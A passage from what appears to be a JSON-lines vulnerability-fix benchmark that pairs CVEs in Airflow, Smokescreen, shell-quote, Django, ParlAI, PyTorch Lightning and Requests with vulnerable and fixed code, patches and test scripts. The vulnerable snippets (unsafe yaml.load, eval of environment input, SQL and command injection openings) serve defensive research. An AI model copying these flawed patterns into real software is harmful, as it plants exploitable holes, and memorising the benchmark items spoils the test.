'sqlite' and url.database and not url.database.startswith('/'):\n        raise AirflowConfigException(\n            f'Cannot use relative path: `{conf.get(\"database\", \"SQL_ALCHEMY_CONN\")}` to connect to sqlite. '\n            'Please use absolute path such as `sqlite:////tmp/airflow.db`.'\n        )\n\n    flask_app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n    flask_app.config['SESSION_COOKIE_HTTPONLY'] = True\n    flask_app.config['SESSION_COOKIE_SECURE'] = conf.getboolean('webserver', 'COOKIE_SECURE')\n\n    cookie_samesite_config = conf.get('webserver', 'COOKIE_SAMESITE')\n    if cookie_samesite_config == \"\":\n        warnings.warn(\n            \"Old deprecated value found for `cookie_samesite` option in `[webserver]` section. \"\n            \"Using `Lax` instead. Change the value to `Lax` in airflow.cfg to remove this warning.\",\n            RemovedInAirflow3Warning,\n        )\n        cookie_samesite_config = \"Lax\"\n    flask_app.config['SESSION_COOKIE_SAMESITE'] = cookie_samesite_config\n\n    if config:\n        flask_app.config.from_mapping(config)\n\n    if 'SQLALCHEMY_ENGINE_OPTIONS' not in flask_app.config:\n        flask_app.config['SQLALCHEMY_ENGINE_OPTIONS'] = settings.prepare_engine_args()\n\n    # Configure the JSON encoder used by `|tojson` filter from Flask\n    flask_app.json_provider_class = AirflowJsonProvider\n    flask_app.json = AirflowJsonProvider(flask_app)\n\n    csrf.init_app(flask_app)\n\n    init_wsgi_middleware(flask_app)\n\n    db = SQLA()\n    db.session = settings.Session\n    db.init_app(flask_app)\n\n    init_dagbag(flask_app)\n\n    init_api_experimental_auth(flask_app)\n\n    init_robots(flask_app)\n\n    cache_config = {'CACHE_TYPE': 'flask_caching.backends.filesystem', 'CACHE_DIR': gettempdir()}\n    Cache(app=flask_app, config=cache_config)\n\n    init_flash_views(flask_app)\n\n    configure_logging()\n    configure_manifest_files(flask_app)\n\n    import_all_models()\n\n    with flask_app.app_context():\n        init_appbuilder(flask_app)\n\n        init_appbuilder_views(flask_app)\n        init_appbuilder_links(flask_app)\n        init_plugins(flask_app)\n        init_connection_form()\n        init_error_handlers(flask_app)\n        init_api_connexion(flask_app)\n        init_api_experimental(flask_app)\n\n        sync_appbuilder_roles(flask_app)\n\n        init_jinja_globals(flask_app)\n        init_xframe_protection(flask_app)\n        init_airflow_session_interface(flask_app)\n        init_check_user_active(flask_app)\n    return flask_app"}, {"id": "fix_py_27_2", "commit": "12bfb57", "file_path": "airflow/www/extensions/init_security.py", "start_line": 68, "end_line": 73, "snippet": "def init_check_user_active(app):\n    @app.before_request\n    def check_user_active():\n        if g.user is not None and not g.user.is_anonymous and not g.user.is_active:\n            logout_user()\n            return redirect(url_for(app.appbuilder.sm.auth_view.endpoint + \".login\"))"}], "vul_patch": "--- a/airflow/www/app.py\n+++ b/airflow/www/app.py\n@@ -81,4 +81,5 @@\n         init_jinja_globals(flask_app)\n         init_xframe_protection(flask_app)\n         init_airflow_session_interface(flask_app)\n+        init_check_user_active(flask_app)\n     return flask_app\n\n--- /dev/null\n+++ b/airflow/www/app.py\n@@ -0,0 +1,6 @@\n+def init_check_user_active(app):\n+    @app.before_request\n+    def check_user_active():\n+        if g.user is not None and not g.user.is_anonymous and not g.user.is_active:\n+            logout_user()\n+            return redirect(url_for(app.appbuilder.sm.auth_view.endpoint + \".login\"))\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-41672:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/airflow\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-41672/bin/python  -m pytest --with-db-init tests/www/views/test_session.py tests/www/views/test_views_base.py -v -k \"test_check_active_user or test_index\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-41672:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/airflow\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-41672/bin/python  -m pytest --with-db-init tests/www/views/test_session.py tests/www/views/test_views_base.py -v -k \"not test_index\" \n"}
{"cve_id": "CVE-2022-24825", "cve_description": "Smokescreen is a simple HTTP proxy that fogs over naughty URLs. The primary use case for Smokescreen is to prevent server-side request forgery (SSRF) attacks in which external attackers leverage the behavior of applications to connect to or scan internal infrastructure. Smokescreen also offers an option to deny access to additional (e.g., external) URLs by way of a deny list. There was an issue in Smokescreen that made it possible to bypass the deny list feature by appending a dot to the end of user-supplied URLs, or by providing input in a different letter case. Recommended to upgrade Smokescreen to version 0.0.3 or later.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/stripe/smokescreen", "patch_url": ["https://github.com/stripe/smokescreen/commit/fafb6ae48c6c40aa011d87b61306abc48db8797b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_41_1", "commit": "37438e8", "file_path": "pkg/smokescreen/acl/v1/acl.go", "start_line": 178, "end_line": 194, "snippet": "func (acl *ACL) ValidateDomains(domains []string) error {\n\tfor _, d := range domains {\n\t\tif d == \"\" {\n\t\t\treturn fmt.Errorf(\"glob cannot be empty\")\n\t\t}\n\n\t\tif !strings.HasPrefix(d, \"*.\") && strings.HasPrefix(d, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: domain glob must represent a full prefix (sub)domain\", d)\n\t\t}\n\n\t\tdomainToCheck := strings.TrimPrefix(d, \"*\")\n\t\tif strings.Contains(domainToCheck, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: domain globs are only supported as prefix\", d)\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "vul_go_41_2", "commit": "37438e8", "file_path": "pkg/smokescreen/acl/v1/acl.go", "start_line": 224, "end_line": 234, "snippet": "func hostMatchesGlob(host string, domainGlob string) bool {\n\tif domainGlob != \"\" && domainGlob[0] == '*' {\n\t\tsuffix := domainGlob[1:]\n\t\tif strings.HasSuffix(host, suffix) {\n\t\t\treturn true\n\t\t}\n\t} else if domainGlob == host {\n\t\treturn true\n\t}\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_41_1", "commit": "fafb6ae", "file_path": "pkg/smokescreen/acl/v1/acl.go", "start_line": 178, "end_line": 198, "snippet": "func (acl *ACL) ValidateDomainGlobs(svc string, globs []string) error {\n\tfor _, glob := range globs {\n\t\tif glob == \"\" {\n\t\t\treturn fmt.Errorf(\"glob cannot be empty\")\n\t\t}\n\n\t\tif glob == \"*\" || glob == \"*.\" {\n\t\t\treturn fmt.Errorf(\"%v: %v: domain glob must not match everything\", svc, glob)\n\t\t}\n\n\t\tif !strings.HasPrefix(glob, \"*.\") && strings.HasPrefix(glob, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: %v: domain glob must represent a full prefix (sub)domain\", svc, glob)\n\t\t}\n\n\t\tdomainToCheck := strings.TrimPrefix(glob, \"*\")\n\t\tif strings.Contains(domainToCheck, \"*\") {\n\t\t\treturn fmt.Errorf(\"%v: %v: domain globs are only supported as prefix\", svc, glob)\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_41_2", "commit": "fafb6ae", "file_path": "pkg/smokescreen/acl/v1/acl.go", "start_line": 232, "end_line": 249, "snippet": "func hostMatchesGlob(host string, domainGlob string) bool {\n\tif host == \"\" {\n\t\treturn false\n\t}\n\n\th := strings.TrimRight(strings.ToLower(host), \".\")\n\tg := strings.TrimRight(strings.ToLower(domainGlob), \".\")\n\n\tif strings.HasPrefix(g, \"*.\") {\n\t\tsuffix := g[1:]\n\t\tif strings.HasSuffix(h, suffix) {\n\t\t\treturn true\n\t\t}\n\t} else if g == h {\n\t\treturn true\n\t}\n\treturn false\n}"}], "vul_patch": "--- a/pkg/smokescreen/acl/v1/acl.go\n+++ b/pkg/smokescreen/acl/v1/acl.go\n@@ -1,16 +1,20 @@\n-func (acl *ACL) ValidateDomains(domains []string) error {\n-\tfor _, d := range domains {\n-\t\tif d == \"\" {\n+func (acl *ACL) ValidateDomainGlobs(svc string, globs []string) error {\n+\tfor _, glob := range globs {\n+\t\tif glob == \"\" {\n \t\t\treturn fmt.Errorf(\"glob cannot be empty\")\n \t\t}\n \n-\t\tif !strings.HasPrefix(d, \"*.\") && strings.HasPrefix(d, \"*\") {\n-\t\t\treturn fmt.Errorf(\"%v: domain glob must represent a full prefix (sub)domain\", d)\n+\t\tif glob == \"*\" || glob == \"*.\" {\n+\t\t\treturn fmt.Errorf(\"%v: %v: domain glob must not match everything\", svc, glob)\n \t\t}\n \n-\t\tdomainToCheck := strings.TrimPrefix(d, \"*\")\n+\t\tif !strings.HasPrefix(glob, \"*.\") && strings.HasPrefix(glob, \"*\") {\n+\t\t\treturn fmt.Errorf(\"%v: %v: domain glob must represent a full prefix (sub)domain\", svc, glob)\n+\t\t}\n+\n+\t\tdomainToCheck := strings.TrimPrefix(glob, \"*\")\n \t\tif strings.Contains(domainToCheck, \"*\") {\n-\t\t\treturn fmt.Errorf(\"%v: domain globs are only supported as prefix\", d)\n+\t\t\treturn fmt.Errorf(\"%v: %v: domain globs are only supported as prefix\", svc, glob)\n \t\t}\n \t}\n \treturn nil\n\n--- a/pkg/smokescreen/acl/v1/acl.go\n+++ b/pkg/smokescreen/acl/v1/acl.go\n@@ -1,10 +1,17 @@\n func hostMatchesGlob(host string, domainGlob string) bool {\n-\tif domainGlob != \"\" && domainGlob[0] == '*' {\n-\t\tsuffix := domainGlob[1:]\n-\t\tif strings.HasSuffix(host, suffix) {\n+\tif host == \"\" {\n+\t\treturn false\n+\t}\n+\n+\th := strings.TrimRight(strings.ToLower(host), \".\")\n+\tg := strings.TrimRight(strings.ToLower(domainGlob), \".\")\n+\n+\tif strings.HasPrefix(g, \"*.\") {\n+\t\tsuffix := g[1:]\n+\t\tif strings.HasSuffix(h, suffix) {\n \t\t\treturn true\n \t\t}\n-\t} else if domainGlob == host {\n+\t} else if g == h {\n \t\treturn true\n \t}\n \treturn false\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24825:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/smokescreen\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd pkg/smokescreen/acl/v1 && go test  -timeout 30s -v \n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24825:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/smokescreen\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd pkg/smokescreen/acl/v1 && go test -timeout 30s -run '^(TestACLDecision|TestACLAddPolicyDisabled|TestACLAddInvalidDomain|TestACLUnknownServiceWithoutDefault|TestACLAddExistingRule|TestACLMalformedPolicyDisable)$'\n"}
{"cve_id": "CVE-2021-42740", "cve_description": "The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ljharb/shell-quote", "patch_url": ["https://github.com/ljharb/shell-quote/commit/5799416ed454aa4ec9afafc895b4e31760ea1abe"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_106_1", "commit": "c7de931", "file_path": "index.js", "start_line": 1, "end_line": 16, "snippet": "exports.quote = function (xs) {\n    return xs.map(function (s) {\n        if (s && typeof s === 'object') {\n            return s.op.replace(/(.)/g, '\\\\$1');\n        }\n        else if (/[\"\\s]/.test(s) && !/'/.test(s)) {\n            return \"'\" + s.replace(/(['\\\\])/g, '\\\\$1') + \"'\";\n        }\n        else if (/[\"'\\s]/.test(s)) {\n            return '\"' + s.replace(/([\"\\\\$`!])/g, '\\\\$1') + '\"';\n        }\n        else {\n            return String(s).replace(/([A-z]:)?([#!\"$&'()*,:;<=>?@\\[\\\\\\]^`{|}])/g, '$1\\\\$2');\n        }\n    }).join(' ');\n};"}], "fix_func": [{"id": "fix_js_106_1", "commit": "5799416", "file_path": "index.js", "start_line": 1, "end_line": 16, "snippet": "exports.quote = function (xs) {\n    return xs.map(function (s) {\n        if (s && typeof s === 'object') {\n            return s.op.replace(/(.)/g, '\\\\$1');\n        }\n        else if (/[\"\\s]/.test(s) && !/'/.test(s)) {\n            return \"'\" + s.replace(/(['\\\\])/g, '\\\\$1') + \"'\";\n        }\n        else if (/[\"'\\s]/.test(s)) {\n            return '\"' + s.replace(/([\"\\\\$`!])/g, '\\\\$1') + '\"';\n        }\n        else {\n            return String(s).replace(/([A-Za-z]:)?([#!\"$&'()*,:;<=>?@\\[\\\\\\]^`{|}])/g, '$1\\\\$2');\n        }\n    }).join(' ');\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -10,7 +10,7 @@\n             return '\"' + s.replace(/([\"\\\\$`!])/g, '\\\\$1') + '\"';\n         }\n         else {\n-            return String(s).replace(/([A-z]:)?([#!\"$&'()*,:;<=>?@\\[\\\\\\]^`{|}])/g, '$1\\\\$2');\n+            return String(s).replace(/([A-Za-z]:)?([#!\"$&'()*,:;<=>?@\\[\\\\\\]^`{|}])/g, '$1\\\\$2');\n         }\n     }).join(' ');\n };\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-28347", "cve_description": "A SQL injection issue was discovered in QuerySet.explain() in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. This occurs by passing a crafted dictionary (with dictionary expansion) as the **options argument, and placing the injection payload in an option name.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402", "https://github.com/django/django/commit/29a6c98b4c13af82064f993f0acc6e8fafa4d3f5", "https://github.com/django/django/commit/6723a26e59b0b5429a0c5873941e01a2e1bdbb81", "https://github.com/django/django/commit/9e19accb6e0a00ba77d5a95a91675bf18877c72d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_7_1", "commit": "8008288", "file_path": "django/db/backends/postgresql/operations.py", "start_line": 290, "end_line": 304, "snippet": "    def explain_query_prefix(self, format=None, **options):\n        prefix = super().explain_query_prefix(format)\n        extra = {}\n        if format:\n            extra[\"FORMAT\"] = format\n        if options:\n            extra.update(\n                {\n                    name.upper(): \"true\" if value else \"false\"\n                    for name, value in options.items()\n                }\n            )\n        if extra:\n            prefix += \" (%s)\" % \", \".join(\"%s %s\" % i for i in extra.items())\n        return prefix"}, {"id": "vul_py_7_2", "commit": "8008288", "file_path": "django/db/models/sql/query.py", "start_line": 587, "end_line": 591, "snippet": "    def explain(self, using, format=None, **options):\n        q = self.clone()\n        q.explain_info = ExplainInfo(format, options)\n        compiler = q.get_compiler(using=using)\n        return \"\\n\".join(compiler.explain_query())"}], "fix_func": [{"id": "fix_py_7_1", "commit": "00b0fc5", "file_path": "django/db/backends/postgresql/operations.py", "start_line": 302, "end_line": 319, "snippet": "    def explain_query_prefix(self, format=None, **options):\n        extra = {}\n        # Normalize options.\n        if options:\n            options = {\n                name.upper(): \"true\" if value else \"false\"\n                for name, value in options.items()\n            }\n            for valid_option in self.explain_options:\n                value = options.pop(valid_option, None)\n                if value is not None:\n                    extra[valid_option.upper()] = value\n        prefix = super().explain_query_prefix(format, **options)\n        if format:\n            extra[\"FORMAT\"] = format\n        if extra:\n            prefix += \" (%s)\" % \", \".join(\"%s %s\" % i for i in extra.items())\n        return prefix"}, {"id": "fix_py_7_2", "commit": "00b0fc5", "file_path": "django/db/models/sql/query.py", "start_line": 591, "end_line": 601, "snippet": "    def explain(self, using, format=None, **options):\n        q = self.clone()\n        for option_name in options:\n            if (\n                not EXPLAIN_OPTIONS_PATTERN.fullmatch(option_name)\n                or \"--\" in option_name\n            ):\n                raise ValueError(f\"Invalid option name: {option_name!r}.\")\n        q.explain_info = ExplainInfo(format, options)\n        compiler = q.get_compiler(using=using)\n        return \"\\n\".join(compiler.explain_query())"}, {"id": "fix_py_7_3", "commit": "00b0fc5", "file_path": "django/db/models/sql/query.py", "start_line": 52, "end_line": 55, "snippet": "# Inspired from\n# https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS\nEXPLAIN_OPTIONS_PATTERN = _lazy_re_compile(r\"[\\w\\-]+\")\n"}, {"id": "fix_py_7_4", "commit": "00b0fc5", "file_path": "django/db/backends/postgresql/operations.py", "start_line": 11, "end_line": 22, "snippet": "    explain_options = frozenset(\n        [\n            \"ANALYZE\",\n            \"BUFFERS\",\n            \"COSTS\",\n            \"SETTINGS\",\n            \"SUMMARY\",\n            \"TIMING\",\n            \"VERBOSE\",\n            \"WAL\",\n        ]\n    )"}], "vul_patch": "--- a/django/db/backends/postgresql/operations.py\n+++ b/django/db/backends/postgresql/operations.py\n@@ -1,15 +1,18 @@\n     def explain_query_prefix(self, format=None, **options):\n-        prefix = super().explain_query_prefix(format)\n         extra = {}\n+        # Normalize options.\n+        if options:\n+            options = {\n+                name.upper(): \"true\" if value else \"false\"\n+                for name, value in options.items()\n+            }\n+            for valid_option in self.explain_options:\n+                value = options.pop(valid_option, None)\n+                if value is not None:\n+                    extra[valid_option.upper()] = value\n+        prefix = super().explain_query_prefix(format, **options)\n         if format:\n             extra[\"FORMAT\"] = format\n-        if options:\n-            extra.update(\n-                {\n-                    name.upper(): \"true\" if value else \"false\"\n-                    for name, value in options.items()\n-                }\n-            )\n         if extra:\n             prefix += \" (%s)\" % \", \".join(\"%s %s\" % i for i in extra.items())\n         return prefix\n\n--- a/django/db/models/sql/query.py\n+++ b/django/db/models/sql/query.py\n@@ -1,5 +1,11 @@\n     def explain(self, using, format=None, **options):\n         q = self.clone()\n+        for option_name in options:\n+            if (\n+                not EXPLAIN_OPTIONS_PATTERN.fullmatch(option_name)\n+                or \"--\" in option_name\n+            ):\n+                raise ValueError(f\"Invalid option name: {option_name!r}.\")\n         q.explain_info = ExplainInfo(format, options)\n         compiler = q.get_compiler(using=using)\n         return \"\\n\".join(compiler.explain_query())\n\n--- /dev/null\n+++ b/django/db/models/sql/query.py\n@@ -0,0 +1,3 @@\n+# Inspired from\n+# https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-IDENTIFIERS\n+EXPLAIN_OPTIONS_PATTERN = _lazy_re_compile(r\"[\\w\\-]+\")\n\n--- /dev/null\n+++ b/django/db/models/sql/query.py\n@@ -0,0 +1,12 @@\n+    explain_options = frozenset(\n+        [\n+            \"ANALYZE\",\n+            \"BUFFERS\",\n+            \"COSTS\",\n+            \"SETTINGS\",\n+            \"SUMMARY\",\n+            \"TIMING\",\n+            \"VERBOSE\",\n+            \"WAL\",\n+        ]\n+    )\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-28347:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2022-28347/bin/python ./runtests.py queries.test_explain.ExplainTests.test_option_sql_injection queries.test_explain.ExplainTests.test_invalid_option_names\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-28347:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2022-28347/bin/python ./runtests.py queries.test_explain\n"}
{"cve_id": "CVE-2021-39207", "cve_description": "parlai is a framework for training and evaluating AI models on a variety of openly available dialogue datasets. In affected versions the package is vulnerable to YAML deserialization attack caused by unsafe loading which leads to Arbitary code execution. This security bug is patched by avoiding unsafe loader users should update to version above v1.1.0. If upgrading is not possible then users can change the Loader used to SafeLoader as a workaround. See commit 507d066ef432ea27d3e201da08009872a2f37725 for details.", "cwe_info": {"CWE-502": {"name": "Deserialization of Untrusted Data", "description": "The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid."}}, "repo": "https://github.com/facebookresearch/ParlAI", "patch_url": ["https://github.com/facebookresearch/ParlAI/commit/4374fa2aba383db6526ab36e939eb1cf8ef99879"], "programing_language": "Python", "vul_func": [{"id": "vul_py_97_1", "commit": "15fbf55", "file_path": "parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py", "start_line": "454", "end_line": "462", "snippet": "    def _get_shared_models(self, args: \"DictConfig\") -> Dict[str, dict]:\n        with open(args.blueprint.model_opt_path) as f:\n            all_model_opts = yaml.load(f.read())\n        active_model_opts = {\n            model: opt\n            for model, opt in all_model_opts.items()\n            if self.conversations_needed[model] > 0\n        }\n        return TurkLikeAgent.get_bot_agents(args=args, model_opts=active_model_opts)"}, {"id": "vul_py_97_2", "commit": "15fbf55", "file_path": "parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py", "start_line": "558", "end_line": "561", "snippet": "    def _get_shared_models(self, args: \"DictConfig\") -> Dict[str, dict]:\n        with open(args.blueprint.model_opt_path) as f:\n            model_opts = yaml.load(f.read())\n        return TurkLikeAgent.get_bot_agents(args=args, model_opts=model_opts)"}], "fix_func": [{"id": "fix_py_97_1", "commit": "4374fa2", "file_path": "parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py", "start_line": "454", "end_line": "462", "snippet": "    def _get_shared_models(self, args: \"DictConfig\") -> Dict[str, dict]:\n        with open(args.blueprint.model_opt_path) as f:\n            all_model_opts = yaml.safe_load(f.read())\n        active_model_opts = {\n            model: opt\n            for model, opt in all_model_opts.items()\n            if self.conversations_needed[model] > 0\n        }\n        return TurkLikeAgent.get_bot_agents(args=args, model_opts=active_model_opts)"}, {"id": "fix_py_97_2", "commit": "4374fa2", "file_path": "parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py", "start_line": "558", "end_line": "561", "snippet": "    def _get_shared_models(self, args: \"DictConfig\") -> Dict[str, dict]:\n        with open(args.blueprint.model_opt_path) as f:\n            model_opts = yaml.safe_load(f.read())\n        return TurkLikeAgent.get_bot_agents(args=args, model_opts=model_opts)"}], "vul_patch": "--- a/parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py\n+++ b/parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py\n@@ -1,6 +1,6 @@\n     def _get_shared_models(self, args: \"DictConfig\") -> Dict[str, dict]:\n         with open(args.blueprint.model_opt_path) as f:\n-            all_model_opts = yaml.load(f.read())\n+            all_model_opts = yaml.safe_load(f.read())\n         active_model_opts = {\n             model: opt\n             for model, opt in all_model_opts.items()\n\n--- a/parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py\n+++ b/parlai/crowdsourcing/tasks/model_chat/model_chat_blueprint.py\n@@ -1,4 +1,4 @@\n     def _get_shared_models(self, args: \"DictConfig\") -> Dict[str, dict]:\n         with open(args.blueprint.model_opt_path) as f:\n-            model_opts = yaml.load(f.read())\n+            model_opts = yaml.safe_load(f.read())\n         return TurkLikeAgent.get_bot_agents(args=args, model_opts=model_opts)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0845", "cve_description": "Code Injection in GitHub repository pytorchlightning/pytorch-lightning prior to 1.6.0.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pytorchlightning/pytorch-lightning", "patch_url": ["https://github.com/pytorchlightning/pytorch-lightning/commit/8b7a12c52e52a06408e9231647839ddb4665e8ae"], "programing_language": "Python", "vul_func": [{"id": "vul_py_102_1", "commit": "91052dc", "file_path": "pytorch_lightning/utilities/argparse.py", "start_line": "99", "end_line": "126", "snippet": "def parse_env_variables(cls: Type[\"pl.Trainer\"], template: str = \"PL_%(cls_name)s_%(cls_argument)s\") -> Namespace:\n    \"\"\"Parse environment arguments if they are defined.\n\n    Examples:\n\n        >>> from pytorch_lightning import Trainer\n        >>> parse_env_variables(Trainer)\n        Namespace()\n        >>> import os\n        >>> os.environ[\"PL_TRAINER_GPUS\"] = '42'\n        >>> os.environ[\"PL_TRAINER_BLABLABLA\"] = '1.23'\n        >>> parse_env_variables(Trainer)\n        Namespace(gpus=42)\n        >>> del os.environ[\"PL_TRAINER_GPUS\"]\n    \"\"\"\n    cls_arg_defaults = get_init_arguments_and_types(cls)\n\n    env_args = {}\n    for arg_name, _, _ in cls_arg_defaults:\n        env = template % {\"cls_name\": cls.__name__.upper(), \"cls_argument\": arg_name.upper()}\n        val = os.environ.get(env)\n        if not (val is None or val == \"\"):\n            # todo: specify the possible exception\n            with suppress(Exception):\n                # converting to native types like int/float/bool\n                val = eval(val)\n            env_args[arg_name] = val\n    return Namespace(**env_args)"}], "fix_func": [{"id": "fix_py_102_1", "commit": "8b7a12c", "file_path": "pytorch_lightning/utilities/argparse.py", "start_line": "100", "end_line": "127", "snippet": "def parse_env_variables(cls: Type[\"pl.Trainer\"], template: str = \"PL_%(cls_name)s_%(cls_argument)s\") -> Namespace:\n    \"\"\"Parse environment arguments if they are defined.\n\n    Examples:\n\n        >>> from pytorch_lightning import Trainer\n        >>> parse_env_variables(Trainer)\n        Namespace()\n        >>> import os\n        >>> os.environ[\"PL_TRAINER_GPUS\"] = '42'\n        >>> os.environ[\"PL_TRAINER_BLABLABLA\"] = '1.23'\n        >>> parse_env_variables(Trainer)\n        Namespace(gpus=42)\n        >>> del os.environ[\"PL_TRAINER_GPUS\"]\n    \"\"\"\n    cls_arg_defaults = get_init_arguments_and_types(cls)\n\n    env_args = {}\n    for arg_name, _, _ in cls_arg_defaults:\n        env = template % {\"cls_name\": cls.__name__.upper(), \"cls_argument\": arg_name.upper()}\n        val = os.environ.get(env)\n        if not (val is None or val == \"\"):\n            # todo: specify the possible exception\n            with suppress(Exception):\n                # converting to native types like int/float/bool\n                val = literal_eval(val)\n            env_args[arg_name] = val\n    return Namespace(**env_args)"}], "vul_patch": "--- a/pytorch_lightning/utilities/argparse.py\n+++ b/pytorch_lightning/utilities/argparse.py\n@@ -23,6 +23,6 @@\n             # todo: specify the possible exception\n             with suppress(Exception):\n                 # converting to native types like int/float/bool\n-                val = eval(val)\n+                val = literal_eval(val)\n             env_args[arg_name] = val\n     return Namespace(**env_args)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-18074", "cve_description": "The Requests package before 2.20.0 for Python sends an HTTP Authorization header to an http URI upon receiving a same-hostname https-to-http redirect, which makes it easier for remote attackers to discover credentials by sniffing the network.", "cwe_info": {"CWE-522": {"name": "Insufficiently Protected Credentials", "description": "The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval."}}, "repo": "https://github.com/requests/requests", "patch_url": ["https://github.com/requests/requests/commit/c45d7c49ea75133e52ab22a8e9e13173938e36ff"], "programing_language": "Python", "vul_func": [{"id": "vul_py_38_1", "commit": "dd754d1", "file_path": "requests/sessions.py", "start_line": 231, "end_line": 253, "snippet": "    def rebuild_auth(self, prepared_request, response):\n        \"\"\"When being redirected we may want to strip authentication from the\n        request to avoid leaking credentials. This method intelligently removes\n        and reapplies authentication where possible to avoid credential loss.\n        \"\"\"\n        headers = prepared_request.headers\n        url = prepared_request.url\n\n        if 'Authorization' in headers:\n            # If we get redirected to a new host, we should strip out any\n            # authentication headers.\n            original_parsed = urlparse(response.request.url)\n            redirect_parsed = urlparse(url)\n\n            if (original_parsed.hostname != redirect_parsed.hostname):\n                del headers['Authorization']\n\n        # .netrc might have more auth for us on our new host.\n        new_auth = get_netrc_auth(url) if self.trust_env else None\n        if new_auth is not None:\n            prepared_request.prepare_auth(new_auth)\n\n        return"}], "fix_func": [{"id": "fix_py_38_1", "commit": "c45d7c49ea75133e52ab22a8e9e13173938e36ff", "file_path": "requests/sessions.py", "start_line": 247, "end_line": 265, "snippet": "    def rebuild_auth(self, prepared_request, response):\n        \"\"\"When being redirected we may want to strip authentication from the\n        request to avoid leaking 